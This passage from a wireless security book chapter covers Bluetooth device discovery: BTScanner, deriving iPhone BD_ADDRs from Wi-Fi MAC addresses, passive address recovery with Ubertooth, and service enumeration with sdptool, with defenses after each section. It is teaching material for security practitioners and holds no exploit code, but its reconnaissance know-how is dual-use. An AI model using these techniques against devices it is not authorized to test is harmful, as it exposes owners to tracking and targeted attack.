notation	with	an	underscore	(e.g.,	00_02_EE_6E_72_D3).

	

If	you	get	a	“Permission	denied”	error	when	you	try	to	cd	to	the	bts	directory,	switch	to
root	privileges	by	running	sudo	su.	BTScanner	creates	all	directories	and	logging	data	so
that	only	the	root	user	can	access	them.

In	each	device	directory,	BTScanner	creates	two	files:	timestamps	and	info.	The
timestamps	file	contains	a	record	of	each	time	BTScanner	receives	a	response	from	the
device.	This	record	can	be	useful	in	tracking	down	a	moving	Bluetooth	device	by
observing	the	presence	(or	lack	of	presence)	of	a	device	over	time.

The	info	file	contains	detailed	information	about	the	device,	including	the	BD_ADDR,
device	manufacturer,	vendor	name	associated	with	the	BD_ADDR,	organizationally
unique	identifier	(OUI),	MAC	address	prefix,	and	a	detailed	list	of	all	the	services	on	the
device.

Despite	some	bugs	in	BTScanner	(see	the	previous	sidebar),	its	logging	and	analysis
capabilities	are	very	useful	for	identifying	discoverable	devices.	Unfortunately,
BTScanner	is	no	longer	in	active	development	and	is,	therefore,	unlikely	to	see	any	bug
resolution	in	the	near	future.

What	About	the	iPhone?
Other	tools	are	available	for	Bluetooth	device	discovery,	but	they	aren’t	recommended
for	practical	use	due	to	the	relative	complexity	of	making	them	work—or	their	general
lack	of	features.	For	example,	jailbroken	iPhones	can	use	the	Cydia	application	to



install	the	SweetTooth	discovery	application.	At	the	time	of	this	writing,	SweetTooth
only	displays	the	device	name	for	discoverable	Bluetooth	devices,	failing	to	include	the
BD_ADDR,	device	type,	or	any	other	pertinent	information.

Sadly,	Apple	restricts	developers	from	using	the	native	iPhone	Bluetooth
functionality	for	device	discovery.	As	a	result,	iPhone	users	will	likely	not	have	any
reasonable	Bluetooth	discovery	tools	outside	of	what’s	available	with	jailbroken
devices.

	Mitigating	Active	Discovery	Techniques
Active	discovery	tools	require	that	devices	be	in	discoverable	mode	to	be	identified,
making	active	discovery	an	opportunistic	attack;	the	attacker	targets	devices	that	respond
to	inquiry	requests	because	they	are	easy	to	identify.	Mitigating	this	attack	is
straightforward:	don’t	leave	your	Bluetooth	device	in	discoverable	mode.

Although	this	advice	is	sound,	its	implementation	is	sometimes	more	difficult.	For
example,	many	devices	require	that	one	device	be	in	discoverable	mode	for	the	initial
pairing	exchange,	creating	a	window	of	opportunity	for	an	attacker	to	exploit	the	network.
Other	devices	are	vulnerable	to	poor	Bluetooth	implementations	that	require	the	user	to
discover	and	select	her	target	every	time	she	wants	to	use	the	wireless	medium,	forcing	her
to	keep	her	device	in	discoverable	mode.

Of	all	the	tools	that	we’ve	examined	so	far	in	this	chapter,	the	target	device	must	be	in
discoverable	mode	to	be	identified.	Bluetooth	security	best	practices	dictate	that	end-users
should	make	their	devices	non-discoverable	after	the	pairing	exchange	completes	for	an
added	level	of	security,	evading	active	discovery	tools.	Now,	let’s	examine	additional
techniques	you	can	use	to	identify	Bluetooth	devices	configured	in	non-discoverable
mode.

Passive	Device	Discovery
The	Bluetooth	specification	doesn’t	require	that	two	devices	wishing	to	communicate	go
through	the	inquiry	scan	exchange.	As	a	consequence,	if	you	determine	a	device’s	address
through	some	outside	technique	(such	as	reading	it	in	the	documentation),	the	device	has
to	treat	your	connection	the	same	as	if	you	had	discovered	it	actively.	This	section	covers
passive	techniques	that	can	yield	a	device’s	BD_ADDR.

Visual	Inspection



Sometimes,	simple	visual	inspection	is	all	that	is	necessary	to	identify	a	Bluetooth
device.	Since	Bluetooth	is	considered	a	valuable	feature	for	many	devices,	its	presence	is
often	proudly	featured	and	denoted	on	products	with	blue	LEDs	and	the	Bluetooth	SIG
logo.	For	example,	consider	the	device	shown	here.	This	photograph	was	taken	at	the
author’s	local	supermarket	where	all	cash	registers	are	outfitted	with	a	handheld	barcode
scanner	used	for	ringing	in	larger	items.	The	use	of	the	Bluetooth	logo	clearly	identifies
that	the	device	uses	Bluetooth	technology	for	communication.

Casual	scanning	of	the	area	near	the	cash	registers	revealed	that	the	devices	were	all
configured	in	non-discoverable	mode.	On	closer	inspection	of	the	scanner	base,	however,
you	can	see	the	device	displays	a	barcode	with	its	BD_ADDR,	as	shown	next.	Using	the
first	three	bytes	of	the	BD_ADDR	information	(00:0C:A7)	and	the	IEEE	OUI	allocation
list	(http://standards.ieee.org/regauth/oui/oui.txt),	we	identified	the	device	manufacturer
as	Metro	(Suzhou)	Technologies	Co.,	Ltd.	Visiting	the	Metro	Technologies	website
indicated	that	the	child	company,	Metrologic,	produces	this	Bluetooth	barcode	scanner
known	as	the	MS9535	VoyagerBT.	Going	to	the	Metrologic	website	led	us	to	the	PDF
version	of	the	user’s	guide	for	this	scanner,	disclosing	the	default	PIN	information	for	the
device.

The	disclosure	of	BD_ADDR	information	printed	on	the	device	is	not	an	uncommon
occurrence.	Because	two	devices	must	share	BD_ADDR	information	to	complete	the
pairing	exchange,	the	information	has	to	be	input	in	some	fashion,	either	through	the
inquiry	request/response	process,	manually,	or	through	some	other	method.	For	simple
devices	that	lack	an	LCD	display	and	have	few	configurable	options,	manual	input	is	not
an	option.	Using	active	discovery	would	be	possible,	but	differentiating	two	discoverable
devices	in	the	same	area	would	be	difficult	(e.g.,	you	wouldn’t	know	if	you	were	paired
with	the	correct	device).

Hybrid	Discovery

http://standards.ieee.org/regauth/oui/oui.txt


When	active	device	discovery	and	visual	inspection	don’t	work	for	identifying	Bluetooth
devices,	several	hybrid	discovery	mechanisms	are	also	possible.

Wi-Fi	and	Bluetooth	MAC	Address	Off-by-One

When	a	device	manufacturer	produces	a	product	with	multiple	interfaces,	it	must
assign	each	interface	a	MAC	address.	Commonly,	the	multiple	MAC	addresses	on	a	single
device	are	relative	to	each	other,	similar	to	the	first	5	bytes	with	the	last	byte	increased	by
1	(for	example,	00:21:5C:7E:70:C3	and	00:21:5C:7E:70:C4).	This	behavior	has	been	used
by	wireless	intrusion	detection	system	(WIDS)	vendors	to	detect	a	rogue	AP	on	a	network
connecting	through	a	NAT	interface	by	observing	commonalities	between	the	IEEE
802.11	BSSID	(AP	MAC	address)	and	the	NAT	MAC	address	observed	on	the	wired
network.	We	can	use	similar	logic	to	identify	the	Bluetooth	interface	on	products	such	as
the	iPhone.

Starting	with	early	iPhone	devices,	Apple	issues	MAC	addresses	to	Wi-Fi	and
Bluetooth	interfaces	in	an	off-by-one	fashion	in	which	the	Bluetooth	BD_ADDR	is	always
one	address	less	or	one	more	than	the	Wi-Fi	MAC	address.	You	can	observe	this	behavior
on	your	iPhone	by	tapping	Settings	|	General	|	About,	as	shown	in	Figure	7-7.





Figure	7-7	Apple	iOS	Bluetooth	BD_ADDR	and	Wi-Fi	MAC	address	relationship

Knowing	this	behavior,	we	can	use	the	relationship	between	Wi-Fi	and	Bluetooth
MAC	addresses	to	identify	the	BD_ADDR	of	an	iPhone	by	observing	client	activity	on
the	Wi-Fi	network	and	testing	for	the	logical	BD_ADDR	on	the	Bluetooth	network.	We
don’t	have	to	test	for	a	Bluetooth	device	for	each	MAC	address	observed	on	the	Wi-Fi
network	because	we	can	focus	our	analysis	on	the	iPhone	and	OUIs	allocated	to	Apple	(at
the	time	of	this	writing,	284	of	the	18,997	OUIs	at
http://standards.ieee.org/regauth/oui/oui.txt	are	allocated	to	Apple,	Inc.).

Using	a	Wi-Fi	interface	in	monitor	mode,	we	can	watch	for	probe	request	frames	(sent
only	from	client	systems)	with	the	text-based	Wireshark	tool	tshark	to	discover	clients’
MAC	addresses.	In	the	following	example,	we	specify	the	interface	name	(-i	wlan0),
instruct	tshark	to	perform	only	MAC	address	prefix	resolution	(-Nm),	apply	a	display	filter
that	returns	only	probe	request	frames	(-R	wlan.fc.type_subtype	eq	4),	and	tell	tshark
to	add	the	wireless	source	address	(wlan.sa)	as	an	additional	field	to	display	(-z
proto,colinfo,wlan.sa,wlan.sa).	Tshark	displays	the	source	address,	by	default,	in	the
standard	packet	summary	line,	but	by	adding	it	a	second	time	with	the	tshark	statistics
option	(-z),	we’ll	see	the	MAC	address	in	both	prefix-resolved	and	prefix-unresolved
formats,	as	shown	here:

	

The	airmon-ng	command	used	to	place	the	wireless	interface	in	monitor	mode	selected
channel	1.	Wireless	devices	will	send	probe	request	frames	on	all	channels	where	wireless
activity	is	detected,	so	the	channel	selection	only	has	to	represent	a	frequency	with
wireless	activity	present.

In	this	output,	you	see	two	probe	request	frames.	The	first	is	from	a	device	with	the
display	prefix	HonHaiPr,	which	you	can	ignore	as	not	being	an	iPhone.	The	next	probe
request	frame	is	sent	from	the	source	MAC	address	Apple_58:94:D6,	which	you	know	is
an	Apple	device.	The	extra	statistics	display	field	then	tells	you	the	full	address	of	the
device	is	E4:98:D6:58:94:D6.

	

Adding	|	grep	Apple	to	the	end	of	the	tshark	command	allows	you	to	filter	the	output	to

http://standards.ieee.org/regauth/oui/oui.txt


display	only	Apple	devices.

Once	you	observe	the	Apple	MAC	address	on	the	Wi-Fi	card,	you	can	attempt	to
extract	information,	such	as	the	Bluetooth	friendly	name,	with	the	hcitool	command.	You
can	determine	the	BD_ADDR	of	the	target	by	adding	1	from	the	last	byte	of	the	Wi-Fi
MAC	address.	Optionally,	subtract	1	from	the	last	byte	of	the	Wi-Fi	MAC	address	as	well,
just	to	be	thorough:

	

Remember	you	are	subtracting	and	adding	1	from	a	hexadecimal	value.	If	the	last	byte	of
the	Wi-Fi	MAC	address	is	44,	you	use	the	hcitool	command	with	a	Bluetooth	last	byte	of
45.	If	the	last	byte	is	39,	however,	you	need	to	specify	the	Bluetooth	last	byte	as	3A,	not
40.

	Defending	Against	Off-by-One	BD_ADDR	Discovery
For	an	attacker	to	leverage	off-by-one	analysis	for	BD_ADDR	discovery,	multiple
interfaces	must	be	observable.	If	at	all	possible,	disable	unused	interfaces,	including	Wi-Fi
adapters,	to	mitigate	the	disclosure	of	related	address	information.

The	off-by-one	relationship	between	the	Wi-Fi	and	Bluetooth	MAC	addresses	is	useful
for	identifying	some	devices,	but	it	isn’t	applicable	for	devices	with	only	a	Bluetooth
interface	or	those	that	number	the	interfaces	out	of	sequential	order.	In	these	cases,	the
attacker	can	rely	on	alternative	identification	techniques,	including	passive	traffic	sniffing,
to	extract	portions	of	the	BD_ADDR.

Passive	Traffic	Analysis
As	mentioned	previously,	a	Bluetooth	Classic	packet	does	not	include	the	BD_ADDR
information	in	the	frame	header	(unlike	IEEE	802.11	or	Ethernet).	Instead,	a	slave	device
is	issued	an	unused	Logical	Transport	Address	(LT_ADDR)	when	the	device	joins	the
piconet.	This	address	is	used	as	the	logical	source	or	destination	address	for	all	traffic	from
that	device.	Using	a	3-bit	field	as	the	source	address,	as	opposed	to	the	full	48-bit
BD_ADDR,	saves	a	considerable	number	of	bits.

This	behavior	is	significant	since	it	is	not	possible	to	identify	the	full	BD_ADDR	of	an
active	device	by	capturing	a	packet	and	observing	the	MAC	header.	However,	you	can	get
close	to	this	goal	by	observing	other	header	activity,	as	you’ll	see	shortly.

Preceding	each	packet	transmitted	on	a	Bluetooth	network	is	a	series	of	values	and
fields	known	as	the	access	code.	The	access	code	typically	consists	of	three	components:
the	preamble,	trailer,	and	sync	word.



The	sync	word	is	an	important	component	of	each	frame	sent	in	a	Bluetooth	piconet.
Each	time	a	slave	or	master	device	receives	a	frame,	the	sync	word	helps	stabilize	the
radio	interface	before	the	baseband	header	data	starts.	The	sync	word	also	helps	uniquely
identify	traffic	for	a	given	piconet,	allowing	multiple	Bluetooth	networks	to	operate	in	the
same	physical	proximity	without	leading	to	ambiguity	in	identifying	which	piconet	is
responsible	for	receiving	a	given	frame.

As	shown	here,	the	sync	word	consists	of	three	components:	the	BCH	error	correcting
code	(used	for	detecting	and	correcting	errors	in	the	received	data	and	named	after	its
inventors,	Bose,	Ray-Chaudhuri,	and	Hocquenghem),	the	LAP	(the	lower	24	bits	of	the
BD_ADDR),	and	a	Barker	Sequence	(used	for	correlating	data,	increasing	the	probability
of	packet	detection	while	decreasing	the	probability	of	false-negative	packet	detection).
The	LAP	field	is	the	most	interesting	to	us	from	a	hacking	perspective	because	it	consists
of	the	last	three	bytes	of	the	BD_ADDR	of	the	master	device.

By	encoding	the	master’s	LAP	into	the	sync	word,	any	device	in	a	piconet	that
receives	a	packet	can	identify	if	the	packet	is	intended	for	it,	differentiating	two	or	more
piconets	in	the	same	location.	You	can	take	advantage	of	this	behavior	to	identify	the	LAP
portion	of	the	BD_ADDR	of	the	master	device	by	observing	the	sync	word	from	an	active
network.

Furthermore,	you	can	also	identify	the	UAP	portion	of	the	BD_ADDR	in	non-
discoverable	devices.	The	Bluetooth	MAC-layer	header	includes	a	checksum	known	as
the	Header	Error	Correction	(HEC)	checksum	(shown	next).	The	HEC	is	a	simple
checksum	over	the	MAC	layer	data,	using	the	UAP	as	an	input.	By	collecting	several
Bluetooth	frames,	you	can	accurately	identify	the	UAP	and	eliminate	false-positive	values.
Combined	with	the	LAP	discovery,	this	reveals	32	bits	of	the	48-bit	BD_ADDR.

Unfortunately,	a	standard	Bluetooth	interface	is	not	designed	to	provide	the	content	of
the	sync	word.	These	devices	lack	any	kind	of	an	interface	to	capture	low-level	Bluetooth
frame	information,	as	they	are	intended	for	Bluetooth	users	who	ordinarily	have	no
interest	in	low-level	information.	Fortunately,	a	combination	of	open-source	hardware	and
software	projects	are	available	to	help	us	identify	this	information.

Ubertooth	Passive	Discovery



Project	Ubertooth	is	an	open-source	hardware	project	developed	by	Michael	Ossmann
of	Great	Scott	Gadgets.	Using	a	custom	circuit-board	interface,	Ossmann	developed	an
interface	that	exposes	low-level	Bluetooth	Classic	and	Bluetooth	Low	Energy	traffic	to	the
host	system	over	a	USB	interface.	The	Ubertooth	hardware	is	currently	at	revision	1
(Ubertooth	One)	and	is	available	to	build	on	your	own,	or	through	several	online
merchants	for	approximately	$120	at	http://greatscottgadgets.com/ubertoothone.

Ubertooth	relies	on	other	open-source	projects	for	the	host	software	functionality,
including	the	Bluetooth	Baseband	Library	(libbtbb),	the	Linux	Bluetooth	library,	“BlueZ”
(libbluetooth),	and	others.	For	Ubuntu	systems,	install	the	required	dependencies	for
Ubertooth’s	host	software,	as	shown	here.	For	the	most	current	features	in	the	Bluetooth
Baseband	Library,	use	the	latest	software	available	from	the	source	code	repository	with
git.

Next,	install	the	Ubertooth	software,	retrieving	the	software	from	the	source	code
repository	with	git:

The	Ubertooth	project	includes	a	Linux	udev	rule	file	that	allows	users	in	the	usb
group	to	interact	with	the	Ubertooth	hardware.	This	means	you	can	use	your	Ubertooth
device	without	root	privileges.	Copy	the	udev	rules	file	to	the	udev	configuration
directory,	and	then	add	your	logged-in	account	to	the	usb	group,	as	shown	here:

http://greatscottgadgets.com/ubertoothone


Log	out	and	then	log	back	in	for	the	group	membership	change	to	apply.

Next,	plug	the	Ubertooth	device	into	an	available	USB	interface.	To	check	your
installation	(and	ensure	the	Ubertooth	is	functioning	properly),	retrieve	the	Ubertooth
firmware	version	information	with	the	ubertooth-util	utility:

In	this	example,	the	firmware	version	on	the	Ubertooth	was	released	in	10/2012.	To
access	breaking	features	related	to	the	Ubertooth,	you	may	need	to	update	the	firmware	to
the	most	current	version.	The	firmware	source	is	distributed	in	the	Ubertooth	git
repository,	but	must	be	compiled	for	the	ARM	architecture	used	by	the	Ubertooth.
Download	the	ARM	version	of	the	GCC	compiler	and	extract	the	tools	to	the	/opt
directory	on	your	Linux	host,	as	shown	here:

	

Over	time,	releases	of	the	gcc-arm-embedded	project	change,	which	may	cause	the	file	at
launchpad.net	to	be	deprecated	in	favor	of	a	newer	version.	Visit
https://launchpad.net/gcc-arm-embedded	to	identify	the	latest	release	of	gcc-arm-
embedded.

With	the	gcc-arm-embedded	software	installed,	you	can	compile	the	latest	Ubertooth
firmware	for	Bluetooth	analysis:

	

As	an	alternative	to	compiling	the	firmware	from	the	latest	source	code,	you	can	download
the	latest	release	version	of	Ubertooth	at
https://github.com/greatscottgadgets/ubertooth/releases	and	load	the	firmware	file	in	the
ubertooth-one-firmware-bin/	directory.

When	the	firmware	finishes	compiling,	flash	the	Ubertooth	device	user	the	ubertooth-

https://launchpad.net/gcc-arm-embedded
https://github.com/greatscottgadgets/ubertooth/releases


util	directory,	as	shown	here:

When	the	firmware	flash	process	is	completed,	remove	and	reinsert	the	Ubertooth
device.	Now	you’ll	see	a	different	version	identifier	from	ubertooth-util,	reflecting	the	git
release	version	of	the	firmware:

To	test	the	Ubertooth’s	functionality,	you	can	get	a	basic	spectrum	graph	display,
showing	activity	in	the	2.4-GHz	band.	Ubertooth	is	supported	by	the	Spectools	project,
written	by	Mike	Kershaw	and	available	at	https://www.kismetwireless.net/spectools/.
Unfortunately,	Ubuntu	package	management	has	not	yet	caught	up	with	the	new	features
of	Spectools,	so	you	need	to	download	and	compile	the	source	to	install	Spectools	after
installing	the	necessary	Linux	dependencies,	as	shown	next:

Next,	run	spectool_gtk	with	no	arguments.	Select	the	connected	Ubertooth	interface
to	start	displaying	spectrum	activity	information,	as	shown	here.

https://www.kismetwireless.net/spectools/


With	the	Ubertooth	configured	for	use	on	your	system	at	a	current	firmware	revision,
you	can	capture	low-level	Bluetooth	data	to	identify	non-discoverable	devices	in	the	area.
Running	the	ubertooth-rx	utility	from	the	command-line	will	disclose	the	LAP	of	active
Bluetooth	transmitters,	as	shown	here:

In	this	output,	we	can	identify	two	Bluetooth	LAPs—A6:56:F7	and	CB:B8:7A—even
though	these	devices	are	configured	in	non-discoverable	mode.	With	the	LAP,	we	can
continue	to	recover	the	UAP	as	well,	using	ubertooth-scan.

	



When	a	Bluetooth	device	scans	for	other	devices	in	discoverable	mode,	the	LAP
0x9E8B33	is	used.	This	address	is	reserved	for	“Inquiry	Device	Scan”	use,	representing
active	scanning,	not	the	LAP	of	an	active	transmitter.

Ubertooth-scan	uses	the	LAP	recovery	features	of	ubertooth-rx	with	an	Ubertooth
interface,	but	it	also	uses	the	Linux	BlueZ	Bluetooth	interface	with	a	traditional	Linux
dongle	to	validate	a	potential	NAP	for	the	identified	LAP.	In	this	fashion,	ubertooth-scan
speeds	up	NAP	recovery	while	eliminating	false-positives.

	

The	ubertooth-scan	utility	uses	the	first	available	Linux	Bluetooth	interface	at	hci0,	by
default.	To	specify	a	different	Bluetooth	interface,	add	the	-d	argument	with	the	name	of
the	alternative	Bluetooth	interface.

In	this	example,	ubertooth-scan	has	identified	two	Bluetooth	Classic	devices,
recovering	the	UAP	and	LAP	information	of	each.	After	the	BD_ADDR	information	is
recovered,	ubertooth-scan	also	displays	the	Adaptive	Frequency	Hopping	(AFH)	map	used
to	avoid	channels	where	RF	interference	is	present.

With	the	UAP	and	LAP	information,	we	have	recovered	32	bits	of	the	48-bit	MAC
address	(excluding	the	Nonsignificant	Address	Part,	or	NAP).	Even	without	the	NAP



information,	we	can	still	use	a	standard	Bluetooth	interface	and	Linux	BlueZ	tools	to
interact	with	non-discoverable	Bluetooth	devices,	recovering	device	name	and	basic
interface	information.	In	place	of	the	NAP	information,	we	substitute	any	other	value	(we
use	00:00	for	simplicity	here).

	Defending	Against	Passive	Discovery
Passive	discovery	is	a	great	technique	for	an	attacker	to	identify	the	presence	of	Bluetooth
devices	(even	when	non-discoverable)	and	to	obtain	a	portion	of	the	BD_ADDR	used	by
the	piconet	master.	Using	the	Ubertooth	hardware	and	ubertooth-rx	software	for	LAP
discovery	is	a	passive	operation;	no	activity	is	generated	during	this	analysis	process	and,
therefore,	no	opportunity	is	available	to	detect	an	attacker	who	is	monitoring	the	network.

By	contrast,	recovering	the	UAP	using	ubertooth-scan	does	require	active	scanning	on
the	part	of	the	attacker	to	verify	the	UAP	guess	candidate.	Detecting	an	attacker	using	this
technique	is	possible;	however,	it	is	extremely	unlikely	due	to	the	lack	of	available
commercial	tools	capable	of	monitoring	Bluetooth	activity	and	detecting	attacks.

One	defense	against	passive	discovery	is	to	avoid	using	a	sensitive	BD_ADDR	in	the
sync	word	data.	Designed	as	a	component	to	prevent	the	disclosure	of	uniquely
identifiable	Bluetooth	data	(Bluetooth	anonymity	mode),	the	Bluetooth	network	would	use
a	different	BD_ADDR	each	time	the	master	forms	the	piconet,	limiting	the	usefulness	of
the	LAP	data	to	the	duration	of	the	session	when	the	attacker	sniffed	the	network.
Unfortunately,	this	technique	has	two	significant	limitations:

•		It	does	not	completely	address	the	threat.	Because	the	attacker	can	retrieve
the	current	LAP	used	for	the	active	session,	ultimately	she	can	use	this
information	to	attack	the	piconet	as	long	as	the	network	is	formed.	When	the
network	is	reformed	and	a	different	master	BD_ADDR	is	used,	the	attacker	can
simply	repeat	the	LAP	sniffing	process	to	discover	the	new	LAP	information.

•		It	is	not	widely	implemented.	Bluetooth	anonymity	mode	is	not	widely



implemented	among	devices	and	is	generally	inaccessible	to	most	users	as	a
configuration	option.

So	far	we’ve	examined	techniques	to	discover	Bluetooth	devices	using	active	scanning
tools	(such	as	BluetoothView	for	Windows	and	Bluetooth	Finder	for	Android),	passive
scanning	tools	(ubertooth-rx),	and	hybrid	passive/active	scanning	tools	(ubertooth-scan).
Even	without	the	NAP	portion	of	the	BD_ADDR,	we	can	use	the	recovered	address
portions	to	query	and	scan	Bluetooth	devices	to	identify	potential	attack	opportunities.

Service	Enumeration
The	Service	Discovery	Protocol	(SDP)	is	a	protocol	defined	by	the	Bluetooth	SIG	for
identifying	or	publishing	services	available	through	a	Bluetooth	device.	This	protocol	was
created	to	address	some	of	the	unique	requirements	of	Bluetooth	networking,	including	the
ability	to	enumerate	the	services	of	a	remote	device	by	function,	class,	or	other	attributes,
such	as	operational	function	or	profile.	When	a	Bluetooth	developer	implements	a
Bluetooth	stack	on	a	device,	he	must	decide	which	services	will	be	advertised	to	remote
devices	by	identifying	them	through	SDP.	From	an	attack	perspective,	SDP	allows	you	to
identify	the	potential	targets	on	a	host,	revealing	support	for	various	Bluetooth	profiles	as
well	as	the	configuration	details	needed	to	connect	to	the	service.

Enumerating	Services	with	sdptool

Several	of	the	active	discovery	tools	you	saw	earlier	will	enumerate	and	display	basic
SDP	record	information	as	well.	These	tools	are	convenient	but	limited	in	several	ways:

•		They	are	useful	only	for	discoverable	hosts	and	will	not	reveal	SDP
information	for	non-discoverable	devices	identified	through	other	means.

•		The	SDP	record	data	is	often	summarized	into	major	profile	support	and
displayed	without	the	necessary	detail	needed	to	connect	to	the	service.

•		The	service	enumeration	may	omit	available	but	unadvertised	services	on	the
target.

The	Linux	sdptool	command	allows	you	to	evaluate	the	services	on	a	target	device.
The	tool	does	not	have	a	graphical	interface,	and	the	results	are	often	cumbersome	to
review,	but	it	is	the	most	comprehensive	tool	available	for	service	discovery.	In	this
example,	we	use	sdptool	to	identify	the	services	available	on	a	MacBook	Air	running	OS
X	10.9.1	(Mavericks)	using	a	Bluetooth	Classic	adapter:





In	this	output,	you	can	see	the	OS	X	laptop	is	running	five	services:

•		A2DP	Audio	Source	The	Bluetooth	device	uses	the	Advanced	Audio
Distribution	Profile	(A2DP)	to	stream	music	to	an	A2DP	sink	(such	as	Bluetooth
headphones).

•		AVRCP	Target	The	Bluetooth	device	can	be	controlled	with	a	Bluetooth
remote	control	using	the	Audio/Visual	Remote	Control	Protocol	(AVRCP).

•		Bluetooth-PDA-Sync	The	Bluetooth	device	uses	the	PDA	synchronization
service	for	data	exchange	with	handheld	devices.

•		Headset	Audio	Gateway	The	Bluetooth	device	uses	the	Headset	Profile



(HSP)	service	as	a	gateway	for	receiving	and	sending	audio	to	a	Bluetooth
headset.

•		Group	Ad-hoc	Network	Service	The	Bluetooth	device	allows	remote
devices	to	connect	for	network	connectivity	using	the	Bluetooth	Network
Encapsulation	Protocol	(BNEP).

The	output	from	sdptool	discloses	additional	configuration	information	for	each	profile;
let’s	examine	each	of	the	pieces	of	output	in	more	detail.

The	Service	Name	and	Service	Description	fields	are	supplied	by	the	developer	who
implemented	the	server	(and,	therefore,	may	be	inconsistent	for	similar	services	across
multiple	hosts).	This	service	is	the	one	identifying	data	that	most	users	will	see	when	they
specify	a	discoverable	host	and	their	operating	system	wants	to	prompt	them	with	a	list	of
available	services.

The	Service	RecHandle	reveals	the	SDP	service	record	handle	associated	with	the
service.	This	value	is	a	32-bit	number	that	uniquely	identifies	the	service	for	a	given	host.
Each	service	record	handle	is	unique	only	to	the	given	host	and	may	be	different	across
multiple	hosts.	In	general,	each	Bluetooth	implementation	will	use	a	specific	service
record	handle	for	a	specific	profile	(e.g.,	Apple’s	OS	X	Bluetooth	stack	will	always	use
0x10006	for	the	A2DP	Audio	Source	service).

The	Service	Class	ID	List	data	follows,	identifying	the	specific	Bluetooth	profile	that
is	implemented	for	this	service.	In	this	case,	the	Audio	Source	profile	is	used	with	the
numeric	identifier	allocated	to	identify	this	profile	by	the	Bluetooth	SIG	uniquely.	The
Audio	Source	profile	is	used	with	an	Audio	Sink	device	to	stream	high-quality	audio
content.

	

A	great	source	for	Bluetooth	profile	information	is	the	Bluetooth	SIG	Developer	Portal
Profiles	Overview	page	at
https://developer.bluetooth.org/TechnologyOverview/Pages/Profiles.aspx.

The	Protocol	Descriptor	List	follows,	identifying	the	supporting	profiles	used	to
provide	the	Bluetooth	service	through	the	identified	Audio	Source	profile.	In	this	case,	the
Logical	Link	Control	and	Adaptation	Protocol	(L2CAP)	is	used	with	a	Protocol	Service
Multiplexer	(PSM,	analogous	to	a	Bluetooth	port)	of	25,	as	well	as	the	Audio/Video
Distribution	Transport	Protocol	(AVDTP).	The	operation	and	use	of	L2CAP	and	PSMs	are
explained	in	the	extended	Bluetooth	background	material,	available	online	at	the
companion	website	at	http://www.hackingexposedwireless.com.

For	some	profiles,	the	Language	Base	Attr	List	identifies	the	base	language	for
human-readable	fields	used	in	the	service	implementation.	Of	most	significant	interest	to
us	is	the	code_ISO639	field,	referring	to	ISO	specification	639,	a	standard	for	the	two-

https://developer.bluetooth.org/TechnologyOverview/Pages/Profiles.aspx
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letter	notation	of	language	names.	In	this	case,	the	value	0x656e	is	the	ASCII	value	of	the
lowercase	letters	en,	used	in	ISO	639	to	denote	the	English	language.	The	service
language	information	will	usually	be	consistent	for	all	the	services	on	the	host,
corresponding	to	the	language	used	by	the	native	operating	system.	This	information	can
be	quite	useful	if	you	are	attempting	to	deliver	an	exploit	that	requires	you	to	specify	the
native	language	pack	for	the	target.

	

A	modified	ISO	639	document	that	includes	the	hexadecimal	values	for	the	two-letter
country	codes	is	available	at	http://www.willhackforsushi.com/resources/iso639.txt.

In	the	previous	example,	we	used	sdptool	browse	00:00:CE:E3:96:EB	to	retrieve	a
list	of	SDP	services.	This	is	the	“nice”	way	to	perform	SDP	enumeration,	by	asking	the
Bluetooth	target	to	reveal	a	list	of	available	services.	Some	hosts	will	not	respond	in	kind,
however,	attempting	to	prevent	the	disclosure	of	SDP	information	to	the	target	device.	For
example,	consider	the	output	from	sdptool	when	querying	a	Pebble	smart	watch:

Fortunately,	the	sdptool	command	also	includes	a	facility	to	enumerate	the	SDP
services	even	if	the	target	attempts	to	hide	the	available	services.	Using	a	list	of	common
service-handle	base	values,	sdptool	probes	the	target	device	for	services	with	common
variations	of	service-record	handle	values.	This	is	implemented	with	the	sdptool	records
parameter:

http://www.willhackforsushi.com/resources/iso639.txt


	

The	current	version	of	sdptool	at	the	time	of	this	writing	(BlueZ	4.98)	attempts	to	query
384	service-record	handles	per	target	when	the	sdptool	records	command	is	used.

	

Both	sdptool	records	and	sdptool	browse	output	can	be	displayed	in	a	hierarchical
tree	format	(the	default,	used	in	these	examples)	or	as	XML	output	by	adding	the
argument	--xml	after	the	records	or	browse	keywords.	By	redirecting	the	output	to	another
program,	sdptool	can	interact	with	complex	analysis	mechanisms	using	standard	data
encoding.

	Defending	Against	Device	Enumeration
Defending	against	service	enumeration	is	a	difficult	task.	Bluetooth	devices	are	required	to
respond	with	service	information	such	as	RFCOMM	ports,	PSMs,	and	language	pack
information,	as	these	details	are	often	needed	for	a	legitimate	peer	to	connect.

One	recommended	approach	is	to	make	the	Bluetooth	device	non-discoverable.
Without	knowing	the	BD_ADDR,	an	attacker	will	be	unable	to	obtain	SDP	records	from



the	target.	As	you’ve	seen,	however,	this	only	makes	discovery	more	difficult	and	does	not
prevent	an	attacker	with	the	correct	tools	from	identifying	the	full	BD_ADDR.

The	best	defense	is	to	limit	the	disclosure	of	SDP	information	to	only	intended
services	on	the	host.	By	disabling	unused	profiles,	an	attacker	will	retrieve	less	SDP
information	and	have	less	of	an	attack	surface	on	the	target	device	to	exploit.	You	cannot
disable	SDP	for	services	you	use,	but	if	there	are	services	you	are	not	using,	you	can
implement	the	principle	of	least	privilege	for	Bluetooth:	disable	the	services	you	don’t
need.

Unfortunately,	even	this	technique	is	not	always	possible	because	many	Bluetooth
devices	don’t	allow	the	end-user	to	specify	which	devices	are	supported.	In	these	cases,
simply	knowing	what	your	exposure	is	through	SDP	data	is	the	only	remaining	defense.

Summary
This	chapter	presented	an	introduction	to	the	Bluetooth	specification	with	techniques	to
select	and	prepare	a	Bluetooth	attack	interface.	Once	you’ve	established	your	Bluetooth
attack	interface,	you	can	choose	from	several	tools	that	are	available	to	identify	the
Bluetooth	devices	in	your	area	that	are	configured	in	discoverable	mode.	This	is	the	most
common	form	of	Bluetooth	analysis,	thwarted	by	users	who	configure	their	Bluetooth
adapters	in	non-discoverable	mode.

In	the	event	a	Bluetooth	adapter	is	non-discoverable,	an	attacker	may	still	be	able	to
identify	it	through	Ubertooth	and	a	standard	Bluetooth	interface	if	the	device	is
transmitting.	Once	the	full	or	even	partial	(LAP+NAP)	BD_ADDR	is	known,	the	attacker
can	begin	profile	enumeration,	scanning	the	target	through	the	Service	Discovery
Protocol.

Although	some	defenses	exist	for	the	attacks	described	in	this	chapter	(such	as	placing
devices	in	non-discoverable	mode),	the	defenses	can	be	thwarted	by	a	patient	attacker	with
readily	available	resources.	In	the	next	chapter,	we	continue	to	build	on	the	evaluation	of
